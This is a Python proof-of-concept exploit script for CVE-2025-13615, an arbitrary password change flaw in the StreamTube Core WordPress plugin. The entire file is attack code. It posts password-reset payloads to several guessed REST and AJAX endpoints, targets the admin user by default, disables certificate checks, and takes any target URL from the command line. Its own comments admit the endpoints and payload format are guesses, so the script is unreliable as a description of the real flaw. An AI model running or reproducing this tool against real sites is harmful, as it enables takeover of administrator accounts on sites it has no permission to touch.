#!/usr/bin/env python3
"""
CVE-2025-13615 PoC - StreamTube Core WordPress Plugin Arbitrary Password Change
Note: This PoC is for educational and security testing purposes only.
"""
import requests
import sys
import argparse
from urllib.parse import urljoin
def exploit_cve_2025_13615(target_url, target_user_id, new_password):
"""
Exploit for CVE-2025-13615: StreamTube Core Plugin Arbitrary Password Change
Prerequisites: 'registration password fields' must be enabled in theme options
"""
# WordPress REST API endpoint for user password modification
# The vulnerable endpoint depends on plugin implementation
endpoints = [
'/wp-json/streamtube/v1/user/password',
'/wp-json/wp/v2/users/' + str(target_user_id),
'/wp-admin/admin-ajax.php',
'/?rest_route=/streamtube/v1/user/update-password'
]
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
}
print(f"[*] Target: {target_url}")
print(f"[*] Target User ID: {target_user_id}")
print(f"[*] Attempting to change password...")
# Method 1: REST API approach
for endpoint in endpoints:
full_url = urljoin(target_url, endpoint)
# Construct the password change payload
# The actual payload structure depends on the vulnerable endpoint
payload = {
'user_id': target_user_id,
'password': new_password,
'password_confirm': new_password
}
try:
response = requests.post(full_url, json=payload, headers=headers, timeout=10, verify=False)
if response.status_code in [200, 201]:
print(f"[+] SUCCESS: Password modification request sent to {endpoint}")
print(f"[+] Response: {response.text}")
return True
elif response.status_code == 401:
print(f"[-] Endpoint {endpoint} requires authentication")
else:
print(f"[-] Endpoint {endpoint} returned status {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] Error connecting to {endpoint}: {e}")
# Method 2: Direct form submission (if AJAX endpoint)
ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php')
ajax_data = {
'action': 'streamtube_change_password',
'user_id': target_user_id,
'new_password': new_password,
'confirm_password': new_password
}
try:
response = requests.post(ajax_url, data=ajax_data, headers=headers, timeout=10, verify=False)
if response.status_code == 200 and 'success' in response.text.lower():
print(f"[+] SUCCESS: AJAX password change exploited")
return True
except:
pass
print("[-] Exploitation failed - target may not be vulnerable or conditions not met")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-13615 PoC')
parser.add_argument('-t', '--target', required=True, help='Target WordPress URL')
parser.add_argument('-u', '--user-id', type=int, default=1, help='Target user ID (default: 1 for admin)')
parser.add_argument('-p', '--password', default='P@ssw0rd123!', help='New password')
args = parser.parse_args()
exploit_cve_2025_13615(args.target, args.user_id, args.password)